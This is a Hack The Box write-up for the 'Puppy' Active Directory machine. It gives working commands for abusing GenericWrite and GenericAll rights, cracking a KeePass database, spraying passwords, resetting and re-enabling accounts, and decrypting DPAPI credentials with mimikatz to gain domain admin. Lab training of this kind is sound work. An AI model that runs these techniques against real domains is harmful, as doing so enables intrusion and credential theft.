HTB - Puppy

Description


This machine simulates an assumed breach scenario where initial access is already obtained. Using BloodHound, the player identifies a user with GenericWrite rights on a privileged group, enabling group membership manipulation. This escalation grants access to an SMB share containing a KeePass database secured with strong encryption, requiring the latest cracking tools. Further enumeration via BloodHound reveals a user with GenericAll rights over another account, allowing password changes. Leveraging this access leads to decrypted DPAPI credentials from a user folder, ultimately resulting in administrative access on the Domain Controller.

Enumeration


As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james/KingofAkron2025!

I will start with normal Nmap Scan, but first export the machine IP to a variable for easy usage.

export target=10.10.11.70  ;mkdir Nmap

Nmap Scan

nmap -p- --min-rate 10000 $target -Pn -oN Nmap/allports

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
2049/tcp  open  nfs
3260/tcp  open  iscsi
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
49674/tcp open  unknown
49689/tcp open  unknown
64119/tcp open  unknown

Then, put all open ports into ports variable and run Nmap script and version scan

export ports="$(cat Nmap/allports | grep '^[0-9]' | cut -d/ -f1 | tr "\n" "," | sed 's/,$//g')"

nmap -p"$ports" $target -Pn -sC -sV -oN Nmap/script-scan

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
111/tcp   open  rpcbind       2-4 (RPC #100000)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
2049/tcp  open  nlockmgr      1-4 (RPC #100021)
3260/tcp  open  iscsi?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing

Summary

* Open ports: 53,88,111,135,139,389,445,464,593,2049,3260,3268,3269,5985,9389
* Services: DNS, KERBEROS, LDAP, SMB, RPC, winRM, NFS
* Important notes: Domain:PUPPY.HTB

I started with enumerating smb looking for accessible shares, and I found DEV share but no access to it.

Before I moved further, I updated /etc/hosts with domain information to avoid any tooling issues

echo "$target dc dc.puppy.htb puppy.htb" | sudo tee -a /etc/hosts
10.10.11.70 dc dc.puppy.htb puppy.htb

I used bloodhound.py to dump LDAP domain data, then ingested it into bloodhound-GUI to begin domain enumeration.

export user=levi.james; export password=KingofAkron2025!; export domain=puppy.htb 

bloodhound-python -u $user -p $password -ns $target -d $domain -c all --dns-timeout 120 --zip

From Bloodhound, I found levi.James member in HR group and has GenericWrite on Developers group, which means I can add members to Developers group

Add levi to Developers group

bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" add groupMember "Developers" "levi.james"

[+] levi.james added to Developers

With a membership in developers group, I looked at smb shares again and found READ access to DEV share

I accessed the share using smbclient.py from impacket toolkit and found .kdbx password database

After downloading it, I extracted the hash to try cracking it using keepass2john and john but I got this error:

keepass2john recovery.kdbx > keepass.hash    
! recovery.kdbx : File version '40000' is currently not supported!

The old version of john can't deal with the new hash version of keepass, but the latest version can. First, I downloaded the tool using the following commands:

git clone https://github.com/openwall/john -b bleeding-jumbo john-jumbo && cd john-jumbo/src
sudo apt-get install build-essential libssl-dev zlib1g-dev yasm libgomp1
./configure && make -s clean && make -sj$(nproc)

Then, I started keepass2john and john from inside the repo folder and managed to crack the hash

./run/keepass2john recovery.kdbx > keepass.hash  
.run/john keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt

..snip..
livxxxxx       (recovery)  

After opening the database, I found several usernames with passwords for each one

keepassxc recovery.kdbx 

Extracted the passwords to a file and started to spray them for each user in the domain. First, I got usernames list from nxc

nxc ldap $target -u users.list -p passwords.list --continue-on-success

With the users & passwords list, I could spray the passwords, and I found valid domain credentials

Foothold


From bloodhound-gui, I found ant.edwards member in Senior devs group and has GenericAll on adam.silver which means I can Change Password for adam.sliver

Take control of the user adam.silver

export user=ant.edwards; export password='REDACTED'

bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set password adam.silver 'P@ssw0rd123!!!'
[+] Password changed successfully!

With adam account, I can access the machine via winRM

There is a problem with the accountdisabledSo I had to enable it before I could use it

Enable the account by modifying the UserAccountControl with 512 value (Enabled value)

Check Account Disable

bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" get object adam.silver --attr useraccountcontrol

distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT

Enable the account

bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set object adam.silver useraccountcontrol -v 512
[+] adam.silver's userAccountControl has been updated

Confirm it's enabled

bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" get object adam.silver --attr useraccountcontrol

distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: NORMAL_ACCOUNT

Access the box

evil-winrm -i dc -u adam.silver -p 'P@ssw0rd123!!!'
*Evil-WinRM* PS C:\Users\adam.silver> type Desktop\user.txt

User Flag: 4b47de5ca3f585dxxxxxxxxxxxxxxxx

Lateral Movement


Under C:\, there is Backups folder

I then downloaded the file to examine it on my Kali machine

After unzipping the file, I found .bak a file containing the domain credentials for the user steph.cooper

ls
assets  images  index.html  nms-auth-config.xml.bak

<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>REDACTED</bind-password>
    </server>

He is a member of Remote Management Users, So I can access the box with him.

Privilege Escalation


evil-winrm -i dc -u steph.cooper -p 'REDACTED' 

Inside steph.cooper folder, where there are stored but encrypted credentials (DPAPI) and the

With mimikatz.exe, I managed to extract the masterkey and then decrypt the DPAPI secrets with it.

.\mimikatz.exe 'dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /password:ChefSteph2025! /protected' exit

..snip..
Auto SID from path seems to be: S-1-5-21-1487982659-1829050783-2281216199-1107
[masterkey] with password: ChefSteph2025! (protected user)
  key : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990..snip..
  sha1: 3c3cf2061dd9d45000e9e6b49e37c7016e98e701
.\mimikatz.exe 'dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84' exit

..snip..
 UserName       : steph.cooper_adm
  CredentialBlob : REDACTED

Alternatively, Download credential file and masterkey locally and dump them with dpapi.py from impacket

The found credential is for step.cooper_adm which is Admin on the domain controller

Get Root flag

nxc smb dc -u steph.cooper_adm -p 'REDACTED'' -x 'type C:\Users\Administrator\Desktop\root.txt'

Root Flag: e2353f53912199xxxxxxxxxxxxxxxxxxx

Last updated